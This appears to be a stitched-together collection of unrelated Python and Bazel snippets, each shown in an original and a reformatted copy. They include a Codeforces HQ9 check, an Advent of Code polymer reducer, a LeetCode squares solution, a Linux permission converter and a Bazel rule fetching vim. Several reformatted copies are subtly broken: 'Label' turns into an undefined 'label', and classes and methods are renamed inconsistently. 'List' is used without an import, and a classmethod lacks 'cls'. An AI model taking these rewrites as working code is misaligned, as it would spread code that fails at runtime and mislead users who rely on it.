def send_return(): pass def send_call(): pass def recv_call(): pass def recv_return(): pass states = {0: {'synchronous': 0}, 1: {'synchronous': 1}, 2: {'synchronous': 2}, 3: {'synchronous': 3}} initial = 0 accepting = [0] unsafe = [] frontier = [] finished = [] deadend = [] runstarts = [0] graph = ((0, (send_call, (), None), 1), (1, (send_return, (), None), 2), (2, (recv_call, (), None), 3), (3, (recv_return, (), None), 0))
# -*- coding: utf-8 -*- """ Created on Thu Jul 15 11:46:46 2021 @author: Easin """ in1 = input() #flag = True for elem in range(len(in1)): if in1[elem] == "H" or in1[elem] == "Q" or in1[elem] == "9": flag = False break else: flag = True if flag == False: print("YES") else: print("NO")
""" Created on Thu Jul 15 11:46:46 2021 @author: Easin """ in1 = input() for elem in range(len(in1)): if in1[elem] == 'H' or in1[elem] == 'Q' or in1[elem] == '9': flag = False break else: flag = True if flag == False: print('YES') else: print('NO')
fr = open('cora/features.features') a = fr.readlines() fr.close() fw = open('cora/features.txt','w') for i in range(len(a)): s = a[i].strip().split(' ') fw.write(s[0]+'\t') for j in range(1,len(s)): if (s[j]=='0.0'): fw.write('0\t') else: fw.write('1\t') fw.write('\n') fw.close()
fr = open('cora/features.features') a = fr.readlines() fr.close() fw = open('cora/features.txt', 'w') for i in range(len(a)): s = a[i].strip().split(' ') fw.write(s[0] + '\t') for j in range(1, len(s)): if s[j] == '0.0': fw.write('0\t') else: fw.write('1\t') fw.write('\n') fw.close()
""" [2017-03-17] Challenge #306 [Hard] Generate Strings to Match a Regular Expression https://www.reddit.com/r/dailyprogrammer/comments/5zxebw/20170317_challenge_306_hard_generate_strings_to/ # Description Most everyone who programs using general purpose languages is familiar with regular expressions, which enable you to match inputs using patterns. Today, we'll do the inverse: given a regular expression, can you generate a pattern that will match? For this challenge we'll use a subset of regular expression syntax: - character literals, like the letter A - \* meaning zero or more of the previous thing (a character or an entity) - + meaning one or more of the previous thing - . meaning any single literal - [a-z] meaning a range of characters from *a* to *z* inclusive To tackle this you'll probably want to consider using a finite state machine and traversing it using a random walk. # Example Input You'll be given a list of patterns, one per line. Example: a+b abc*d # Example Output Your program should emit strings that match these patterns. From our examples: aab abd Note that `abcccccd` would also match the second one, and `ab` would match the first one. There is no single solution, but there are wrong ones. # Challenge Input [A-Za-z0-9$.+!*'(){},~:;=@#%_\-]* ab[c-l]+jkm9*10+ iqb[beoqob-q]872+0qbq* # Challenge Output While multiple strings can match, here are some examples. g~*t@C308*-sK.eSlM_#-EMg*9Jp_1W!7tB+SY@jRHD+-'QlWh=~k'}X$=08phGW1iS0+:G abhclikjijfiifhdjjgllkheggccfkdfdiccifjccekhcijdfejgldkfeejkecgdfhcihdhilcjigchdhdljdjkm9999910000 iqbe87222222222222222222222222222222222222222220qbqqqqqqqqqqqqqqqqqqqqqqqqq """ def main(): pass if __name__ == "__main__": main()
""" [2017-03-17] Challenge #306 [Hard] Generate Strings to Match a Regular Expression https://www.reddit.com/r/dailyprogrammer/comments/5zxebw/20170317_challenge_306_hard_generate_strings_to/ # Description Most everyone who programs using general purpose languages is familiar with regular expressions, which enable you to match inputs using patterns. Today, we'll do the inverse: given a regular expression, can you generate a pattern that will match? For this challenge we'll use a subset of regular expression syntax: - character literals, like the letter A - \\* meaning zero or more of the previous thing (a character or an entity) - + meaning one or more of the previous thing - . meaning any single literal - [a-z] meaning a range of characters from *a* to *z* inclusive To tackle this you'll probably want to consider using a finite state machine and traversing it using a random walk. # Example Input You'll be given a list of patterns, one per line. Example: a+b abc*d # Example Output Your program should emit strings that match these patterns. From our examples: aab abd Note that `abcccccd` would also match the second one, and `ab` would match the first one. There is no single solution, but there are wrong ones. # Challenge Input [A-Za-z0-9$.+!*'(){},~:;=@#%_\\-]* ab[c-l]+jkm9*10+ iqb[beoqob-q]872+0qbq* # Challenge Output While multiple strings can match, here are some examples. g~*t@C308*-sK.eSlM_#-EMg*9Jp_1W!7tB+SY@jRHD+-'QlWh=~k'}X$=08phGW1iS0+:G abhclikjijfiifhdjjgllkheggccfkdfdiccifjccekhcijdfejgldkfeejkecgdfhcihdhilcjigchdhdljdjkm9999910000 iqbe87222222222222222222222222222222222222222220qbqqqqqqqqqqqqqqqqqqqqqqqqq """ def main(): pass if __name__ == '__main__': main()
''' While the very latest in 1518 alchemical technology might have solved their problem eventually, you can do better. You scan the chemical composition of the suit's material and discover that it is formed by extremely long polymers. The polymer is formed by smaller units which, when triggered, react with each other such that two adjacent units of the same type and opposite polarity are destroyed. How many units remain after fully reacting the polymer you scanned? ''' def react(polymer): ''' Given a polymer string, removes two adjacent characters if they are the same character but in opposite cases Removes: aA, Aa Does not remove: aa, AA, aB, Ba ''' for char_1, char_2 in zip(polymer, polymer[1:]): if char_1.lower() == char_2.lower() and char_1 != char_2: polymer = polymer.replace(f'{char_1}{char_2}', '', 1) return polymer def react_loop(polymer): ''' Given a polymer string, reacts repeatedly until no reaction occurs, returns the polymer string ''' old_polymer = polymer while True: new_polymer = react(old_polymer) if new_polymer == old_polymer: return new_polymer else: old_polymer = new_polymer def main(): with open('input.txt') as input_file: polymer = input_file.read().strip() final_polymer = react_loop(polymer) print( f'''The units remaining after fully reacting the polymer is { len(final_polymer) } units.''' ) if __name__ == '__main__': main()
""" While the very latest in 1518 alchemical technology might have solved their problem eventually, you can do better. You scan the chemical composition of the suit's material and discover that it is formed by extremely long polymers. The polymer is formed by smaller units which, when triggered, react with each other such that two adjacent units of the same type and opposite polarity are destroyed. How many units remain after fully reacting the polymer you scanned? """ def react(polymer): """ Given a polymer string, removes two adjacent characters if they are the same character but in opposite cases Removes: aA, Aa Does not remove: aa, AA, aB, Ba """ for (char_1, char_2) in zip(polymer, polymer[1:]): if char_1.lower() == char_2.lower() and char_1 != char_2: polymer = polymer.replace(f'{char_1}{char_2}', '', 1) return polymer def react_loop(polymer): """ Given a polymer string, reacts repeatedly until no reaction occurs, returns the polymer string """ old_polymer = polymer while True: new_polymer = react(old_polymer) if new_polymer == old_polymer: return new_polymer else: old_polymer = new_polymer def main(): with open('input.txt') as input_file: polymer = input_file.read().strip() final_polymer = react_loop(polymer) print(f'The units remaining after fully reacting the polymer is {len(final_polymer)} units.') if __name__ == '__main__': main()
""" A collection of command-line tools for building encoded update.xml files. """ class InfoFile: update_file = "" version = None checksum = None # A multi-line HTML document describing the changes between # this version and the previous version description = "" @classmethod def from_info_file(filename): return def files2xml(filenames): """ Given a list of filenames, extracts the app version and log information from accompanying files produces an output xml file. There are no constraints or restrictions on the names or extensions of the input files. They just need to be accompanied by a sidecar file named similarly, but with a ".info" extension, that can be loaded by the InfoFile class. """ return
""" A collection of command-line tools for building encoded update.xml files. """ class Infofile: update_file = '' version = None checksum = None description = '' @classmethod def from_info_file(filename): return def files2xml(filenames): """ Given a list of filenames, extracts the app version and log information from accompanying files produces an output xml file. There are no constraints or restrictions on the names or extensions of the input files. They just need to be accompanied by a sidecar file named similarly, but with a ".info" extension, that can be loaded by the InfoFile class. """ return
''' # 977. [Squares of a Sorted Array](https://leetcode.com/problems/squares-of-a-sorted-array/) Given an array of integers A sorted in non-decreasing order, return an array of the squares of each number, also in sorted non-decreasing order. Example 1: Input: [-4,-1,0,3,10] Output: [0,1,9,16,100] Example 2: Input: [-7,-3,2,3,11] Output: [4,9,9,49,121] Note: 1 <= A.length <= 10000 -10000 <= A[i] <= 10000 A is sorted in non-decreasing order. ''' # Solutions class Solution: def sortedSquares(self, A: List[int]) -> List[int]: i = 0 j = len(A) - 1 while i < j: A[i] = A[i] * A[i] A[j] = A[j] * A[j] i += 1 j -= 1 if i == j: A[i] = A[i] * A[i] A.sort() return A # Runtime: 240 ms # Memory Usage: 15.2 MB
""" # 977. [Squares of a Sorted Array](https://leetcode.com/problems/squares-of-a-sorted-array/) Given an array of integers A sorted in non-decreasing order, return an array of the squares of each number, also in sorted non-decreasing order. Example 1: Input: [-4,-1,0,3,10] Output: [0,1,9,16,100] Example 2: Input: [-7,-3,2,3,11] Output: [4,9,9,49,121] Note: 1 <= A.length <= 10000 -10000 <= A[i] <= 10000 A is sorted in non-decreasing order. """ class Solution: def sorted_squares(self, A: List[int]) -> List[int]: i = 0 j = len(A) - 1 while i < j: A[i] = A[i] * A[i] A[j] = A[j] * A[j] i += 1 j -= 1 if i == j: A[i] = A[i] * A[i] A.sort() return A
""" The permissions of a file in a Linux system are split into three sets of three permissions: read, write, and execute for the owner, group, and others. Each of the three values can be expressed as an octal number summing each permission, with 4 corresponding to read, 2 to write, and 1 to execute. Or it can be written with a string using the letters r, w, and x or - when the permission is not granted. For example: 640 is read/write for the owner, read for the group, and no permissions for the others; converted to a string, it would be: "rw-r-----" 755 is read/write/execute for the owner, and read/execute for group and others; converted to a string, it would be: "rwxr-xr-x" """ def octal_to_string(octal): result = "" value_letters = [(4,"r"),(2,"w"),(1,"x")] # Iterate over each of the digits in octal for num in [int(n) for n in str(octal)]: # Check for each of the permissions values for value, letter in value_letters: if num >= value: result += letter num -= value else: result += '-' return result print(octal_to_string(755)) # Should be rwxr-xr-x print(octal_to_string(644)) # Should be rw-r--r-- print(octal_to_string(750)) # Should be rwxr-x--- print(octal_to_string(600)) # Should be rw-------
""" The permissions of a file in a Linux system are split into three sets of three permissions: read, write, and execute for the owner, group, and others. Each of the three values can be expressed as an octal number summing each permission, with 4 corresponding to read, 2 to write, and 1 to execute. Or it can be written with a string using the letters r, w, and x or - when the permission is not granted. For example: 640 is read/write for the owner, read for the group, and no permissions for the others; converted to a string, it would be: "rw-r-----" 755 is read/write/execute for the owner, and read/execute for group and others; converted to a string, it would be: "rwxr-xr-x" """ def octal_to_string(octal): result = '' value_letters = [(4, 'r'), (2, 'w'), (1, 'x')] for num in [int(n) for n in str(octal)]: for (value, letter) in value_letters: if num >= value: result += letter num -= value else: result += '-' return result print(octal_to_string(755)) print(octal_to_string(644)) print(octal_to_string(750)) print(octal_to_string(600))
__all__ = ["decoder"] def decoder(x: list) -> int: x = int(str("0b" + "".join(reversed(list(map(str, x))))), 2) return x
__all__ = ['decoder'] def decoder(x: list) -> int: x = int(str('0b' + ''.join(reversed(list(map(str, x))))), 2) return x
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") def repos(): http_archive( name = "vim", urls = [ "https://github.com/vim/vim/archive/v8.1.1846.tar.gz", ], sha256 = "68de2854199a396aee19fe34c32c02db5784c76c0334d58b510266436c7529bb", strip_prefix = "vim-8.1.1846", build_file = str(Label("//app-editor:vim.BUILD")), )
load('@bazel_tools//tools/build_defs/repo:http.bzl', 'http_archive') def repos(): http_archive(name='vim', urls=['https://github.com/vim/vim/archive/v8.1.1846.tar.gz'], sha256='68de2854199a396aee19fe34c32c02db5784c76c0334d58b510266436c7529bb', strip_prefix='vim-8.1.1846', build_file=str(label('//app-editor:vim.BUILD')))